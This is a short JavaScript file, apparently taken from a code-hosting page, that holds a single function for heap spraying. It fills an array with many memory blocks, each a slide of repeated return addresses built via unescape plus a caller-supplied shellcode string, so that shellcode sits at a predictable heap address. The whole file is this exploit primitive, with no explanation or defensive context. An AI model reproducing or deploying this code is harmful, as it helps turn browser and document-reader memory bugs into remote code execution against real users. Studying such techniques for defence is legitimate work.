17 lines
776 B
JavaScript
17 lines
776 B
JavaScript
var memory = new Array();
|
|
function sprayHeap(shellcode, heapSprayAddr, heapBlockSize) {
|
|
var index;
|
|
var heapSprayAddr_hi = (heapSprayAddr >> 16).toString(16);
|
|
var heapSprayAddr_lo = (heapSprayAddr & 0xffff).toString(16);
|
|
while (heapSprayAddr_hi.length < 4) { heapSprayAddr_hi = "0" + heapSprayAddr_hi; }
|
|
while (heapSprayAddr_lo.length < 4) { heapSprayAddr_lo = "0" + heapSprayAddr_lo; }
|
|
|
|
var retSlide = unescape("%u"+heapSprayAddr_hi + "%u"+heapSprayAddr_lo);
|
|
while (retSlide.length < heapBlockSize) { retSlide += retSlide; }
|
|
retSlide = retSlide.substring(0, heapBlockSize - shellcode.length);
|
|
|
|
var heapBlockCnt = (heapSprayAddr - heapBlockSize)/heapBlockSize;
|
|
for (index = 0; index < heapBlockCnt; index++) {
|
|
memory[index] = retSlide + shellcode;
|
|
}
|
|
} |